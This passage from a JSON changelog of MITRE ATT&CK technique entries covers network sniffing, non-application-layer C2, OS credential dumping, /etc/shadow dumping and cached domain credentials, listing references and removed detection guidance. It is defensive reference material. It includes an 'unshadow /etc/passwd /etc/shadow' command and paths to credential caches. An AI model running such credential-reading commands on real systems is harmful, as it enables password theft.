"https://attack.mitre.org/techniques/T1040", + "external_id": "T1040" + }, + { + "source_name": "AWS Traffic Mirroring", + "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.", + "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html" + }, + { + "source_name": "capture_embedded_packet_on_software", + "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html" + }, + { + "source_name": "GCP Packet Mirroring", + "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.", + "url": "https://cloud.google.com/vpc/docs/packet-mirroring" + }, + { + "source_name": "SpecterOps AWS Traffic Mirroring", + "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.", + "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512" + }, + { + "source_name": "Azure Virtual Network TAP", + "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview" + }, + { + "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring", + "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.", + "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Tiago Faria, 3CORESec", + "Austin Clark, @c2defense", + "Itamar Mizrahi, Cymptom", + "Eliraz Levi, Hunters" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices", + "IaaS" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.910000+00:00\", \"old_value\": \"2025-04-15 19:58:19.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\\n\\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\\n-\\n-In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0314: Detection Strategy for Network Sniffing Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:10.728000+00:00", + "modified": "2025-10-24 17:49:20.136000+00:00", + "name": "Non-Application Layer Protocol", + "description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host\u2019s backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1095", + "external_id": "T1095" + }, + { + "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023", + "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + }, + { + "source_name": "Microsoft ICMP", + "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.", + "url": "http://support.microsoft.com/KB/170292" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "Wikipedia OSI", + "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.", + "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ryan Becwar", + "Duane Michael" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.136000+00:00\", \"old_value\": \"2025-04-15 19:59:04.779000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \\n\\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \\n-\\n-Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0457: Detection of Non-Application Layer Protocols for C2" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:19.735000+00:00", + "modified": "2025-10-24 17:48:22.201000+00:00", + "name": "OS Credential Dumping", + "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003", + "external_id": "T1003" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ed Williams, Trustwave, SpiderLabs", + "Tim (Wadhwa-)Brown", + "Yves Yonan" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Access\", \"Process: OS API Execution\", \"File: File Access\", \"Process: Process Access\", \"Command: Command Execution\", \"Active Directory: Active Directory Object Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.201000+00:00\", \"old_value\": \"2025-04-15 22:53:37.617000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"### Windows\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n\\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \\n\\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n\\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\\n\\n### Linux\\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\", \"diff\": \"--- \\n+++ \\n@@ -1,13 +0,0 @@\\n-### Windows\\n-Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n-\\n-Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \\n-\\n-On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n-\\n-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n-\\n-Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\\n-\\n-### Linux\\n-To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1040: Behavior Prevention on Endpoint", + "M1041: Encrypt Sensitive Information", + "M1043: Credential Access Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Access)", + "DS0026: Active Directory (Active Directory Object Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0234: Credential Dumping via Sensitive Memory and Registry Access Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:46:56.263000+00:00", + "modified": "2025-10-24 17:49:25.253000+00:00", + "name": "/etc/passwd and /etc/shadow", + "description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \"user\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\n\nAdversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/008", + "external_id": "T1003.008" + }, + { + "source_name": "Arctic Wolf", + "description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.", + "url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/" + }, + { + "source_name": "Linux Password and Shadow File Formats", + "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.", + "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html" + }, + { + "source_name": "nixCraft - John the Ripper", + "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.", + "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.253000+00:00\", \"old_value\": \"2025-04-15 19:59:09.955000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0446: Credential Access via /etc/passwd and /etc/shadow Parsing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 15:42:25.991000+00:00", + "modified": "2025-10-24 17:48:54.919000+00:00", + "name": "Cached Domain Credentials", + "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/005", + "external_id": "T1003.005" + }, + { + "source_name": "PassLib mscache", + "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.", + "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html" + }, + { + "source_name": "ired mscache", + "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.", + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials" + }, + { + "source_name": "Microsoft - Cached Creds", + "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs", + "Tim (Wadhwa-)Brown", + "Yves Yonan" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.919000+00:00\", \"old_value\": \"2025-04-15 21:55:45.923000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n-\\n-Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)" + ] + }, + 